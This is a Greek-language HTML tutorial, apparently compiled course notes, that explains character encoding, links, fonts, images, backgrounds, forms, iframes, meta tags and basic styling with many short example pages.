Ελληνικά Για να το δηλώσουμε ότι το έγγραφο είναι γραμμένο στην Νέο-Ελληνική γλώσσα πρέπει να προσθέσουμε στην περιοχή του <head> την εξής δήλωση <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-7"> Δηλαδή το παράδειγμά μας θα πρέπει να μετατραπεί σ' αυτή την μορφή: <HTML> <head> <title>Το πρώτο μου HTML έγγραφο</title> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-7"> </head> <body> </body> </HTML> Σημείωση: Πληροφοριακά, έτσι, για να καταλάβετε περισσότερο αυτή την δήλωση, το ISO-8859-7 είναι το πρότυπο υλοποίησης Νέο-Ελληνικών για τους Η/Υ, και ISO είναι ο διεθνής οργανισμός πρωτοτύπων (standards).

Εισαγωγή υπερσυνδέσμων (links)

Οι υπερσύνδεσμοι υπάρχουν παντού , τους συναντάμε σε όλες τις σελίδες του διαδικτύου καθώς είναι ο τρόπος μετακίνησης και πλοήγησης μεταξύ των ιστοσελίδων. Ένας υπερσύνδεσμος μπορεί να είναι κείμενο, εικόνα, κουμπί κ.α. Τα links κατασκευάζονται μέσω του tag <a> που χρησιμοποιεί το χρήσιμο attribute <href> όπως φαίνεται παρακάτω: <a href="url">link text</a> Όπως παρατηρούμε και από την σύνταξη του tag <a> το σημαντικό είναι να δώσουμε τη σωστή διεύθυνση – url μέσω του attribute href ώστε να είναι δυνατή η μετάβαση από την μια σελίδα στην άλλη ή από ένα σημείο της σελίδας σε ένα άλλο (bookmarks) δηλαδή δημιουργία σελιδοδεικτών. Για τους σελιδοδείκτες όμως θα μιλήσουμε παρακάτω. Σαν παρατήρηση έχουμε να προσθέσουμε την διαφορά μεταξύ απόλυτης διεύθηνσης και σχετικής. Χρησιμοποιούμε απόλυτη διεύθυνση όταν θέλουμε να μεταβούμε μέσω του υπερσυνδέσμου σε μια τελείως διαφορετική σελίδα σε κάποιον άλλο server. Στην περίπτωση αυτή το απόλυτο url συντάσσεται ως εξής: «http://www.*.com/html/» Διαφορετικά αν θέλουμε να μετακινηθούμε σε τοπικό επίπεδο δηλαδή σε μια διαφορετική σελίδα μέσα στον φάκελο στον οποίο έχουμε αποθηκεύσει τα αρχεία Html και τα οποία έχουμε ανεβάσει σε κάποιον server αρκεί να γράψουμε στην διεύθυνση το όνομα του αρχείου html της σελίδας δηλαδή στην οποία θέλουμε να μετακινηθούμε. Μορφοποίηση υπερσυνδέσμων Όταν ο δείκτης του ποντικιού περνάει πάνω από έναν υπερσύνδεσμο δύο πράγματα συμβαίνουν: •

ο δείκτης μετατρέπεται σε «χεράκι» που σου δίνει την δυνατότητα να πατήσεις πάνω στο link

•

και το ίδιο το link αλλάζει χρώμα ανάλογα με την κατάσταση στην οποία βρίσκεται.

Εξ’ ορισμού οι υπερσύνδεσμοι στην περίπτωση που ο χρήστης δεν έχει κάνει κλικ πάνω τους θα εμφανιστούν με υπογράμμιση και χρώμα γραμματοσειράς μπλέ στην αντίθετη περίπτωση παραμένουν υπογεγραμμένοι αλλά το χρώμα γραμματοσειράς μεταβάλλεται σε μωβ.

Επίσης υπάρχει και η περίπτωση του ενεργού υπερσυνδέσμου κατά την οποία το χρώμα γραμματοσειράς γίνεται κόκκινο. Παρόλα αυτά ένας σχεδιαστής μπορεί να αλλάξει τις προεπιλογές εμφάνισης των υπερυνδέσμων χρησιμοποιώντας το tag style όπως φαίνεται παρακάτω:

Παρατηρούμε ότι το tag <style> γράφεται ανάμεσα στο tag <head> και όχι στο <body> γιατί πολύ απλά είναι tag μορφοποίησης και όχι attribute που θα πρέπει να εισάγεται μέσα σε άλλα tags του <body>. Επιπλέον παρατηρούμε πως συντάσσονται οι διαφορετικές περιπτώσεις του tag <a> των υπερσυνδέσμων. Για παράδειγμα για να μορφοποιήσουμε τον υπερσύνδεσμο στην περίπτωση που κάνει κλικ ο χρήστης τότε θα γράψουμε: a:visited { color:#000000; background-color:transparent; text-decoration:none; } Άρα το tag <a> μετατρέπεται στην ουσία σε attribute του tag <style> παίρνοντας τις παρακάτω τιμές: •

visited είναι η περίπτωση που αλλάζει η μορφοποίηση γιατί ο χρήστης έχει επισκεφτεί προηγουμένως την σελίδα,

active όπου είναι η περίπτωση που έχει γίνει κλικ στο link

από τον χρήστη και είναι ενεργός ο υπερσύνδεσμος, •

link είναι η αρχική μορφοποίηση του υπερσυνδέσμου

•

και τελος hover που είναι η περίπτωση στην οποία περνά απλα ο δείικτης του ποντικιού πάνω από το link και η μορφοποίηση του υπερσυνδέσμου αλλάζει Στις παραπάνω λοιπόν περιπτώσεις όπου αλλάζει η κατάσταση στην οποία βρίσκεται ο υπερσύνδεσμος, μας δίνεται το δικαίωμα να αλλάξουμε και την εμφάνιση του link.

Το attribute target Το attribute target είναι αυτό που καθορίζει που θα ανοίξει για παράδειγμα η νέα σελίδα στην οποία θα οδηγηθούμε αν πατήσουμε τον υπερσύνδεσμο, αν δηλαδή η νέα σελίδα θα ανοίξει σε νέα καρτέλα ή σε νέο παράθυρο του browser. <a href="http://www.some_page.com/" target="_blank">Visit some page!</a> Οι τιμές που μπορεί να πάρει είναι οι εξής: •

_blanc: ανοίγει τον υπερσύνδεσμο σε νέα καρτέλα ή παράθυρο.

•

_self: ανοίγει τον υπερσύνδεσμο στην frame που ανήκει δηλαδή αν το link είναι γραμμένο μέσα σε ένα πλαίσιο τότε και η σελίδα θα ανοίξει μέσα στο ίδιο πλαίσιο (αυτό είναι προεπιλογή).

•

_parent: ανοίγει τον υπερσύνδεσμο στο ανώτερο πλαίσιο της σελίδας αν υπάρχουν εμφωλευμένα πλαίσια το ένα μέσα στο άλλο τότε η σελίδα θα ανοίξει στο ανώτερο πλαίσιο. Για τα πλαίσια όμως θα αναφερθούμε αναλυτικότερα σε επομενες παραγράφους.

•

_top: ανοίγει τον υπερσύνδεσμο σε ολόκληρο το παράθυρο της σελίδας

•

_framename: ανοίγει τον υπερσύνδεσμο στο πλαίσιο που έχουμε δημιουργήσει εμείς και που το καλούμε με το όνομα που του έχουμε δώσει.

Ειδικοί Χαρακτήρες Υπάρχουν ειδικοί χαρακτήρες που δεν µπορούν να απεικονισθούν µε απλές πληκτρολογήσεις (πατώντας ένα πλήκτρο ή ένα πλήκτρο και το Shift) αλλά µόνο µε πιο περίπλοκους τρόπους (π.χ. πατώντας το Alt και έναν αριθµό). Πρόκειται για χαρακτήρες που δεν ανήκουν στο κλασικό 7-bit ASCII character set αλλά στο επεκταµένο 8-bit ASCII. Οι περισσότεροι browsers αναγνωρίζουν αυτούς τους ISO-Latin-1 (ISO-8859-1) χαρακτήρες αλλά µε ειδικό τρόπο. Για να αναγνωρίσουν τους χαρακτήρες αυτούς οι browsers όσων βλέπουν τις σελίδες µας (ο browser του δικού µας Η/Υ δεν θα έχει πρόβληµα) θα πρέπει να γραφούν µε ειδικό τρόπο (µε έναν κωδικό που αρχίζει µε το & και τελειώνει µε το ;). Π.χ. το copyright © είναι &#169; Ενώ το ® γράφεται σαν &#174; Στην κατηγορία των ειδικών χαρακτήρων συµπεριλαµβάνονται και οι χαρακτήρες άλλων γλωσσών. Αν στο PC µας γράψουµε µια HTML σελίδα στα Γερµανικά και τοποθετήσουµε αυτή τη σελίδα στο Internet θα µπορούν να τη διαβάσουν σίγουρα µόνο όσοι έχουν εγκατεστηµένο γερµανικό πληκτρολόγιο ή όσοι browsers υποστηρίζουν Unicode. Αν όµως εµείς (οι δηµιουργοί της σελίδας) δεν έχουµε εγκατεστηµένο γερµανικό πληκτρολόγιο, αλλά πρέπει απλώς να γράψουµε ένα όνοµα ή λίγες λέξεις τις οποίες θα διαβάσουν χρήστες χωρίς γερµανικό πληκτρολόγιο ή Unicode, θα πρέπει να χρησιµοποιήσουµε το ISO-Latin ισοδύναµο αυτών των χαρακτήρων. Έτσι ο ∆ανός φιλόσοφος Søren Kierkegaard θα πρέπει να γραφτεί ως S&oslash;ren Kierkegaard. Πίνακες µε όλους τους ειδικούς χαρακτήρες και τα ISO-Latin ισοδύναµά τους υπάρχουν σε διάφορα σηµεία του Internet ΧΑΡΑΚΤΗΡΕΣ ΜΕ ΕΙ∆ΙΚΕΣ ΛΕΙΤΟΥΡΓΙΕΣ

Ας υποθέσουµε πως θέλετε να βάλετε µέσα σε µια οδηγία (tag) τον χαρακτήρα < ή > θα δείτε πως θα υπάρξει πρόβληµα. Πχ. την εντολή <B>15<7</B> το Netscape 3 την αναγνωρίζει κανονικά ενώ ο Internet Explorer 2 βλέπει µόνο το 15 και ότι άλλο κείµενο υπάρχει πέρα από αυτό σαν bold (δηλαδή διαβάζει το <7</Β> σαν µια οδηγία που δεν καταλαβαίνει και την προσπερνά χωρίς να την εµφανίζει ή να την ερµηνεύει). Για τον λόγο αυτό οι ειδικοί χαρακτήρες που περιέχονται στις οδηγίες (tags) όταν θέλουµε να τα δούµε µέσα σε µια σελίδα σαν απλοί χαρακτήρες, πρέπει να απεικονιστούν ως εξής: Χαρακτήρας Συµβολισµός < &lt; > &gt; & &amp; " &quot; Ορισµός γραµµατοσειρών <FONT> ...</FONT> Η <FONT> καθορίζει ρυθµίσεις σχετικές µε τις γραµµατοσειρές. Τέτοιες είναι: <FONT SIZE=x>...</FONT> Καθορίζει το µέγεθος των γραµµάτων. Σε παλαιότερους browsers, το x µπορεί να πάρει τιµές από 1 (η µικρότερη) µέχρι 7 (η µεγαλύτερη). Default x=3. Η <FONT> µπορεί να πάρει και σχετικές τιµές (από -3 έως +4) που καθορίζουν το µέγεθός της σε σχέση µε την default γραµµατοσειρά που έχει οριστεί στον browser. Σε νεότερους browsers, το x µπορεί να πάρει και µεγαλύτερες τιµές. <FONT COLOR=x>...</FONT> Αν το επιθυµούµε, υπάρχει και η δυνατότητα να δώσουµε ξεχωριστά χρώµατα σε µεµονωµένες λέξεις, φράσεις ή και χαρακτήρες. Αυτό γίνεται µε την οδηγία FONT. Π.χ. <FONT COLOR=YELLOW>κείµενο σε κίτρινο χρώµα</FONT> ∆υστυχώς τα χρώµατα που ορίζονται µε το όνοµά τους (π.χ. color=aqua για το ανοιχτό γαλάζιο) είναι σχετικά λίγα. Για να χρησιµοποιήσουµε όλες τις δυνατές αποχρώσεις θα πρέπει να γνωρίζουµε το RGB του χρώµατος που θέλουµε να χρησιµοποιήσουµε (όλα τα χρώµατα στον Η/Υ απεικονίζονται ως ένας συνδυασµός των Red Green Blue).

Για να το βρούµε αυτό αρκεί να διαθέτουµε ένα πρόγραµµα γραφικών. Για παράδειγµα, ανοίγουµε το Paint των Windows 98 και επιλέγουµε Colors -Edit Colors - Define Custom Colors. Στο δεξιό µέρος του παραθύρου που βρίσκεται µπροστά µας υπάρχει µια µπάρα και αριστερά της ένα µεγάλο τετράγωνο µε διάφορα χρώµατα.

Κάντε κλικ µέσα στο µεγάλο τετράγωνο µε τα πολλά χρώµατα στο σηµείο που υπάρχει χρώµα της αρεσκείας σας. Το χρώµα εµφανίζεται κάτω δεξιά από το µεγάλο τετράγωγο. Μετακινόντας το δείκτη της µπάρας που βρίσκεται δεξιά από το µεγάλο τετράγωγο σε κάποιο άλλο σηµείο εκτός από το τέρµα κάτω (το default) ορίζουµε τη φωτεινότητα αυτού του χρώµατος. Στο κάτω δεξιά µέρος του παραθύρου αναγράφονται οι τιµές R (Red) G (Green) και B (Blue) του χρώµατος που διαλέξατε. Τώρα που τις έχετε, το µόνο που σας µένει είναι να βρείτε τον δεκαεξαδικό κωδικό του χρώµατος διότι αυτός πρέπει να οριστεί µέσα στον HTML κώδικα. Για παράδειγµα: Το RGB 62,199,41 του παραπάνω παραδείγµατος είναι το 3ec729 σε δεκαεξαδικό κωδικό και το χρώµα που µας δίνει είναι το: <FONT COLOR=3ec729>ανοικτό πράσινο</FONT> <FONT FACE="x">...</FONT> Καθορίζει το την γραµµατοσειρά. Καλό είναι να χρησιµοποιείται µε φειδώ διότι αν η γραµµατοσειρά δεν υπάρχει στον Η/Υ του αναγνώστη των σελίδων µπορεί να υπάρξουν προβλήµατα (π.χ. να µην φαίνονται τα κείµενα µε Ελληνικούς χαρακτήρες). Π.χ. <FONT FACE="Times New Roman">...</FONT>

ΠΡΟΣΟΧΗ: Καλύτερα να αποφεύγεται η υπερβολική χρήση της <FONT> (ορισµός πολλών γραµµατοσειρών ή/και πολλών χρωµάτων γραµµάτων στο ίδιο κείµενο) διότι δίνει πολύ άσχηµη εικόνα. Εισαγωγή Εικόνων και Γραφικών Είδη Αρχείων Υπάρχουν πολλοί τρόποι µε τους οποίους µπορεί να αποθηκευτεί µια εικόνα ή ένα γραφικό στον Η/Υ. Κάθε ένας από αυτούς, βασίζεται σε ένα ξεχωριστό πρότυπο και αναγνωρίζεται από την επέκταση του ονόµατος του αρχείου που περιέχει την εικόνα. Οι Web browsers αναγνωρίζουν µόνο δύο τέτοια πρότυπα. Το .GIF και το .JPG (δηλαδή το jpeg). Αν έχετε µια εικόνα που θέλετε να συµπεριλάβετε σε µια σελίδα και δεν είναι αποθηκευµένη σε µια από τις δύο αυτές µορφές, τότε πρέπει να την µετατρέψετε σε gif ή jpg χρησιµοποιώντας ένα από τα ειδικά προγράµµατα µετατροπής που παρέχουν αυτή την δυνατότητα(π.χ. PAINTSHOP PRO). Προσθέτοντας μια εικόνα σε μια Web σελίδα Αυτό µπορεί να γίνει µε την οδηγία <IMG SRC="όνοµα ή/και path αρχείου">, για παράδειγμα: <img src="image1.gif">. Με την οδηγία αυτή η εικόνα θα µπεί στην σελίδα στο σηµείο που υπάρχει η οδηγία αλλά στην αριστερή πλευρά της οθόνης. Ο δεξιά της χώρος θα παραµείνει κενός. Το κείµενο που υπάρχει πριν από αυτήν θα βρίσκεται από πάνω της και το κείµενο που υπάρχει µετά από αυτήν θα βρίσκεται από κάτω της. Σε αυτή την περίπτωση η εµφάνιση της σελίδας θα είναι: Μπλά, µπλά, µπλά, µπλά, µπλά, µπλά, µπλά, µπλά, µπλά, µπλά, µπλά, µπλά, µπλά, Συµβουλή: Προσπαθήστε να ανακυκλώνετε τις εικόνες σας (π.χ. να χρησιµοποιείτε την ίδια εικόνα σε διαφορετικές περιπτώσεις αν αυτό είναι εφικτό). Με τον τρόπο αυτό δίνετε µεγαλύτερη οµοιοµορφία στις σελίδες σας και διευκολύνετε την κίνηση του επισκέπτη (είναι πιο εύκολο να βρει το δρόµο του κινούµενος µέσα σε σελίδες που έχουν την ίδια βασική σχεδίαση). Επίσης το εικονίδιο αυτό χρειάζεται να έρθει στον browser µόνο µια φορά (την πρώτη). Τις επόµενες φορτώνεται από την cache και έτσι ο επισκέπτης, κερδίζει χρόνο. Εικόνες και Γραμμή Κειμένου Μια εικόνα µαζί µε µια σειρά κείµενο µπορεί να συµπεριληφθεί σε µια επικεφαλίδα µε το ακόλουθο τρόπο: <H6><IMG SRC="image.gif">ANY MODEM</H6>

Το ίδιο θα συµβεί και αν η εικόνα τοποθετηθεί µέσα σε µια παράγραφο κειµένου <P> (αν η οδηγία IMG της εικόνας δεν βρίσκεται µέσα σε παράγραφο ή heading τότε θα λάβει θέση µόνη της µέσα στη σελίδα χωρίς τίποτε άλλο δίπλα της). Μέσα στις επικεφαλίδες και µέσα στις παραγράφους, µπορεί να υπάρχει κείµενο τόσο δεξιά όσο και αριστερά της εικόνας (αν φυσικά χωράει) και οι αποστάσεις µεταξύ των γραµµών θα επηρεαστούν από το µέγεθος της εικόνας. Πάντα όµως δεξιά και αριστερά της εικόνας θα υπάρχει ΜΟΝΟ ΜΙΑ γραµµή κειµένου. Το ίδιο θα συµβεί και αν η εικόνα τοποθετηθεί µέσα σε µια παράγραφο κειµένου <P> (αν η οδηγία IMG της εικόνας δεν βρίσκεται µέσα σε παράγραφο ή heading τότε θα λάβει θέση µόνη της µέσα στη σελίδα χωρίς τίποτε άλλο δίπλα της). Μέσα στις επικεφαλίδες και µέσα στις παραγράφους, µπορεί να υπάρχει κείµενο τόσο δεξιά όσο και αριστερά της εικόνας (αν φυσικά χωράει) και οι αποστάσεις µεταξύ των γραµµών θα επηρεαστούν από το µέγεθος της εικόνας. Πάντα όµως δεξιά και αριστερά της εικόνας θα υπάρχει ΜΟΝΟ ΜΙΑ γραµµή κειµένου. Φυσικά µπορεί να τύχει η εικόνα να βρεθεί στην αρχή ή στο τέλος της γραµµής. Στην περίπτωση αυτή δεν θα υπάρχει κείµενο αριστερά ή δεξιά της αντίστοιχα. Η εικόνα µπορεί να τοποθετηθεί διάφορες θέσεις σχετικά µε το επίπεδο της γραµµής κειµένου που υπάρχει δεξιά και αριστερά της. Αυτό θα γίνει µε την οδηγία align. Οι δυνατότητες που υπάρχουν είναι: <IMG SRC="image1.gif" ALIGN=TOP> Οι δυνατότητες που υπάρχουν είναι: <IMG SRC="image1.gif" ALIGN=TOP> Θα βάλει το πάνω µέρος της εικόνας στο ίδιο επίπεδο µε την γραµµή του κειµένου. ALIGN=MIDDLE θα βάλει το µεσαίο επίπεδο της εικόνας στο ίδιο επίπεδο µε την γραµµή του κειµένου. ALIGN=BOTTOM θα βάλει το κάτω µέρος της εικόνας στο ίδιο επίπεδο µε την γραµµή του κειµένου (η default επιλογή). Εισαγωγή µιας εικόνας σαν φόντο της

Σελίδας Αν θέλουµε το φόντο της σελίδας να µην είναι κάποιο χρώµα αλλά ένα γραφικό, χρησιµοποιούµε την παράµετρο BACKGROUND. Η σύνταξή της είναι: <BODY BACKGROUND="όνοµα αρχείου">...</BODY> "όνοµα αρχείου" είναι φυσικά το όνοµα (ή/και το path) του αρχείου εικόνας που θέλουµε να βάλουµε σαν φόντο στην σελίδα. Τα αρχείο εικόνας που θα χρησιµοποιήσουµε σαν φόντο, περιλαµβάνουν συνήθως κάποιο γραφικό ή γραφικά που (αν η εικόνα έχει µέγεθος µικρότερο από αυτό της σελίδας) επαναλαµβάνονται (tiled) καθ' ύψος και πλάτος µέχρι να καλύψουν ολόκληρο το φόντο. Σε ορισµένες περιπτώσεις το αρχείου του φόντου µπορεί να αποτελείται και από ένα µόνο χρώµα (αν θέλουµε µονόχρωµο φόντο). Στην περίπτωση αυτή, το αρχείο είναι σκόπιµο να έχει όσο το δυνατόν µικρότερο µέγεθος (κατά προτίµηση ένα µόνο pixel). Το pixel αυτό θα εκταθεί για να καταλάβει ολόκληρο το φόντο.

Πώς βρίσκουµε τον 16εξαδικό κωδικό ενός χρώµατος Κάθε χρώµα το οποίο θα θελήσουµε να χρησιµοποιήσουµε, προέρχεται συνήθως από 2 πηγές: Είτε το έχουµε δηµιουργήσει εµείς (µε κάποιο πρόγραµµα γραφικών), είτε το έχουµε δει κάπου αλλού (π.χ. σε ένα άλλο site). Και στις 2 περιπτώσεις, αποθηκεύουµε το γραφικό που µας ενδιαφέρει, το ανοίγουµε µε ένα σχεδιαστικό πρόγραµµα και βλέπουµε ποιο είναι το RGB του (η δυνατότητα αυτή υπάρχει σε όλα σχεδόν τα προγράµµατα γραφικών). Το RGB αποτελείται από έναν αριθµό για το κόκκινο, έναν για το πράσινο και έναν για το µπλε χρώµα (ο συνδιασµός αυτών των τριών χρωµάτων σε διαφορετικές αναλογίες µας δίνει όλα τα χρώµατα που εµφανίζονται στην οθόνη του Η/Υ µας). Οι τιµές των αριθµών αυτών εκτείνονται από το 0 έως το 255. Π.χ. το µαύρο είναι 0,0,0 και το λευκό είναι 255,255,255 Αφού µάθουµε το RGB, µετατρέπουµε την τιµή του σε δεκαεξαδικό κωδικό χρησιµοποιόντας ένα από τα διάφορα προγράµµατα που υπάρχουν για το σκοπό αυτό (Agile ColorWeb , Crayon κ.α.) ή τον calculator των windows. Για να βρούµε τον δεκαεξαδικό κωδικό µε τον calculator των windows ανοίγουµε το πρόγραµµα (αν δεν υπάρχει στα µενού ψάχνουµε για το αρχείο calc.exe και το εκτελούµε) και επιλέγουµε View – Scientific

Αν υποθέσουµε πως θέλουµε µια απόχρωση του µουσταρδί µε Red=246 Green=192 Blue=128 τότε γράφουµε 246 και αλλάζουµε την προβολή από δεκαδική - Dec - σε δεκαεξαδική - Hex - (κάνουµε κλικ στην επιλογή Hex).

Παράδειγμα HTML LAYOUT <!DOCTYPE html> <html>

<head> <title>HTML Layout using Tables</title> </head>

<body> <table width = "100%" border = "0">

<tr> <td colspan = "2" bgcolor = "#b5dcb3"> <h1>This is Web Page Main title</h1> </td> </tr> <tr valign = "top"> <td bgcolor = "#aaa" width = "50"> <b>Main Menu</b><br /> HTML<br /> PHP<br /> PERL... </td>

<td bgcolor = "#eee" width = "100" height = "200">

Technical and Managerial Tutorials </td> </tr> <tr> <td colspan = "2" bgcolor = "#b5dcb3"> <center> Copyright © 2007 Tutorialspoint.com </center> </td> </tr>

</table> </body>

</html> Το αποτέλεσμα

HTML Fonts <!DOCTYPE html> <html>

<head> <title>Setting Font Size</title> </head>

<body> <font size = "1">Font size = "1"</font><br /> <font size = "2">Font size = "2"</font><br /> <font size = "3">Font size = "3"</font><br /> <font size = "4">Font size = "4"</font><br /> <font size = "5">Font size = "5"</font><br />

<font size = "6">Font size = "6"</font><br /> <font size = "7">Font size = "7"</font> </body>

</html>

Relative Font Size <!DOCTYPE html> <html>

<head> <title>Relative Font Size</title> </head>

<body>

<font size = "-1">Font size = "-1"</font><br /> <font size = "+1">Font size = "+1"</font><br /> <font size = "+2">Font size = "+2"</font><br /> <font size = "+3">Font size = "+3"</font><br /> <font size = "+4">Font size = "+4"</font> </body>

</html>

HTML FORMS <!DOCTYPE html> <html> <head> <title>Text Input Control</title> </head>

<body> <form >

First name: <input type = "text" name = "first_name" /> <br> Last name: <input type = "text" name = "last_name" /> </form> </body>

</html>

Passwords <!DOCTYPE html> <html>

<head> <title>Password Input Control</title> </head>

<body> <form > User ID : <input type = "text" name = "user_id" /> <br>

Password: <input type = "password" name = "password" /> </form> </body>

</html> <!DOCTYPE html> <html>

<head> <title>Multiple-Line Input Control</title> </head>

<body> <form> Description : <br /> <textarea rows = "5" cols = "50" name = "description"> Enter description here... </textarea> </form> </body>

</html>

<!DOCTYPE html> <html>

<head> <title>Checkbox Control</title> </head>

<body> <form> <input type = "checkbox" name = "maths" value = "on"> Maths <input type = "checkbox" name = "physics" value = "on"> Physics </form> </body>

</html> <!DOCTYPE html> <html>

<head> <title>Radio Box Control</title> </head>

<body> <form> <input type = "radio" name = "subject" value = "maths"> Maths <input type = "radio" name = "subject" value = "physics"> Physics </form> </body>

</html> <!DOCTYPE html> <html>

<head> <title>Select Box Control</title> </head>

<body> <form> <select name = "dropdown"> <option value = "Maths" selected>Maths</option> <option value = "Physics">Physics</option> </select> </form>

</body>

</html> <!DOCTYPE html> <html>

<head> <title>File Upload Box</title> </head>

<body> <form> <input type = "file" name = "fileupload" accept = "image/*" /> </form> </body>

</html> <!DOCTYPE html> <html>

<head> <title>File Upload Box</title>

</head>

<body> <form> <input type = "submit" name = "submit" value = "Submit" /> <input type = "reset" name = "reset" value = "Reset" /> <input type = "button" name = "ok" value = "OK" /> <input type = "image" name = "imagebutton" src = "/html/images/logo.png" /> </form> </body>

</html> <!DOCTYPE html> <html>

<head> <title>File Upload Box</title> </head>

<body> <form> <p>This is page 10</p>

<input type = "hidden" name = "pagename" value = "10" /> <input type = "submit" name = "submit" value = "Submit" /> <input type = "reset" name = "reset" value = "Reset" /> </form> </body>

</html> Iframes <!DOCTYPE html> <html>

<head> <title>HTML Iframes</title> </head>

<body> <p>Document content goes here...</p>

<iframe src = "/html/menu.htm" width = "555" height = "200"> Sorry your browser does not support inline frames. </iframe>

<p>Document content also go here...</p> </body>

</html>

Blocks <!DOCTYPE html> <html>

<head> <title>HTML div Tag</title> </head>

<body> <!-- First group of tags --> <div style = "color:red"> <h4>This is first group</h4>

<p>Following is a list of vegetables</p>

<ul> <li>Beetroot</li> <li>Ginger</li> <li>Potato</li> <li>Radish</li> </ul> </div>

<!-- Second group of tags --> <div style = "color:green"> <h4>This is second group</h4> <p>Following is a list of fruits</p>

<ul> <li>Apple</li> <li>Banana</li> <li>Mango</li> <li>Strawberry</li> </ul> </div>

</body>

</html>

The <span> tag <!DOCTYPE html> <html>

<head> <title>HTML span Tag</title> </head>

<body>

<p>This is <span style = "color:red">red</span> and this is <span style = "color:green">green</span></p> </body>

</html> HTML - Style Sheet <!DOCTYPE html> <html>

<head> <title>HTML CSS</title> </head>

<body> <p><font color = "green" size = "5">Hello, World!</font></p> </body>

</html> <!DOCTYPE html> <html>

<head>

<title>HTML CSS</title> </head>

<body> <p style = "color:green; font-size:24px;" >Hello, World!</p> </body>

</html> HTML - Marquees <!DOCTYPE html> <html>

<head> <title>HTML marquee Tag</title> </head>

<body> <marquee>This is basic example of marquee</marquee> </body>

</html> <!DOCTYPE html>

<html>

<head> <title>HTML marquee Tag</title> </head>

<body> <marquee width = "50%">This example will take only 50% width</marquee> </body>

</html> <!DOCTYPE html> <html>

<head> <title>HTML marquee Tag</title> </head>

<body> <marquee direction = "right">This text will scroll from left to right</marquee> </body>

</html> <!DOCTYPE html> <html>

<head> <title>HTML marquee Tag</title> </head>

<body> <marquee direction = "up">This text will scroll from bottom to up</marquee> </body>

</html> The HTML <meta> Tag <!DOCTYPE html> <html>

<head> <title>HTML Meta Tag Example</title>

<!-- Provide list of keywords --> <meta name = "keywords" content = "C, C++, Java, PHP, Perl, Python">

<!-- Provide description of the page --> <meta name = "description" content = "Simply Easy Learning by Tutorials Point">

<!-- Author information --> <meta name = "author" content = "Tutorials Point">

<!-- Page content type --> <meta http-equiv = "content-type" content = "text/html; charset = UTF-8">

<!-- Page refreshing delay --> <meta http-equiv = "refresh" content = "30">

<!-- Page expiry --> <meta http-equiv = "expires" content = "Wed, 21 June 2006 14:25:27 GMT">

<!-- Tag to tell robots not to index the content of a page --> <meta name = "robots" content = "noindex, nofollow">

</head>

<body>

<p>Hello, World!</p> </body>

</html> <!DOCTYPE html> <html>

<head> <title>HTML Base Tag Example</title> <base href = "https://www.tutorialspoint.com/" /> </head>

<body> <img src = "/images/logo.png" alt = "Logo Image"/> <a href = "/html/index.htm" title = "HTML Tutorial"/>HTML Tutorial</a> </body>

</html> <!DOCTYPE html> <html>

<head>

<title>HTML link Tag Example</title> <base href = "https://www.tutorialspoint.com/" /> <link rel = "stylesheet" type = "text/css" href = "/css/style.css"> </head>

<body> <p>Hello, World!</p> </body>

</html> <!DOCTYPE html> <html>

<head> <title>HTML style Tag Example</title> <base href = "https://www.tutorialspoint.com/" />

<style type = "text/css"> .myclass { background-color: #aaa; padding: 10px; }

</style> </head>

<body> <p class = "myclass">Hello, World!</p> </body>

</html> <!DOCTYPE html> <html>

<head> <title>HTML script Tag Example</title> <base href = "http://www.tutorialspoint.com/" />

<script type = "text/JavaScript"> function Hello() { alert("Hello, World"); } </script> </head>

<body> <input type = "button" onclick = "Hello();" name = "ok" value = "OK" /> </body>

</html> HTML – Backgrounds <!DOCTYPE html> <html>

<head> <title>HTML Background Colors</title> </head>

<body> <!-- Format 1 - Use color name --> <table bgcolor = "yellow" width = "100%"> <tr> <td> This background is yellow </td> </tr> </table>

<!-- Format 2 - Use hex value --> <table bgcolor = "#6666FF" width = "100%"> <tr> <td> This background is sky blue </td> </tr> </table>

<!-- Format 3 - Use color value in RGB terms --> <table bgcolor = "rgb(255,0,255)" width = "100%"> <tr> <td> This background is green </td> </tr> </table> </body>

</html> <!DOCTYPE html>

<html>

<head> <title>HTML Background Images</title> </head>

<body> <!-- Set table background --> <table background = "/images/html.gif" width = "100%" height = "100"> <tr><td> This background is filled up with HTML image. </td></tr> </table> </body>

</html>

Συνοψίζοντας τις βασικές ετικέτες HTML με την περιγραφή τους.

Τα σχόλια δεν εμφανίζονται από τον περιηγητή ιστοσελίδων. Είναι χρήσιμα για την επεξήγηση του κώδικα, ώστε να είναι ευκολότερο να τον αλλάξουμε κάποια άλλη στιγμή (που πιθανά δε θα θυμόμαστε πλέ-ον τι έχουμε γράψει, ιδίως αν έχει περάσει καιρός), ή κάποιος άλλος που τον βλέπει για πρώτη φορά. Η ετικέτα του σχολίου δεν υποστηρίζει κάποια ιδιότητα HTML. Ως υπερσύνδεσμοι (hyperlinks) ορίζονται λέξεις, προτάσεις ή εικόνες σε μια ιστοσελίδα, πατώντας στα οποία ο χρήστης μεταφέρεται σε κάποιες άλλες ιστοσελίδες. Συμβολίζονται με την ετικέτα <a>, η οποία μπορεί να χρησιμοποιηθεί με τους εξής τρόπους: 1. Δημιουργώντας έναν σύνδεσμο προς ένα άλλο έγγραφο χρησιμοποιώντας το HTML στοιχείο «href». 2. Δημιουργώντας σελιδοδείκτες σε ένα έγγραφο με χρήση του HTML στοιχείου «name».

Υπερσύνδεσμοι στην HTML

Παράγραφοι & Μορφοποίηση Τα HTML έγγραφα χωρίζονται σε παραγράφους

Η ετικέτα <p> χρησιμεύει για τη δήλωση της παραγράφου. Οι περιηγητές προσθέτουν αυτόματα πε-ριθώριο (margin) πριν και μετά από κάθε στοιχείο παραγράφου (μια κενή γραμμή). Τα κενά αυτά μπορεί να τα επεξεργαστεί ο σχεδιαστής της ιστοσελίδας μέσω του CSS. Οι περισσότεροι περιηγητές θα εμφανίσουν σωστά τις παραγράφους, ακόμα κι αν παραληφθεί η ετικέτα λήξης </p>. Παρόλα αυτά, δεν ενδείκνυται, καθώς μπορεί να προκληθούν απρόβλεπτα αποτελέσματα. Η ετικέτα <br> ορίζει μια αλλαγή γραμμής και μπορεί να χρησιμοποιηθεί για νέα γραμμή χωρίς όμως να δημιουργηθεί μια νέα παράγραφος. Το συγκεκριμένο στοιχείο είναι κενό, δηλαδή δεν χρειάζεται ετικέτα λήξης. Μπορεί να δηλωθεί με το σύντομο τρόπο <br/> όπως φαίνεται στην διαφάνεια.

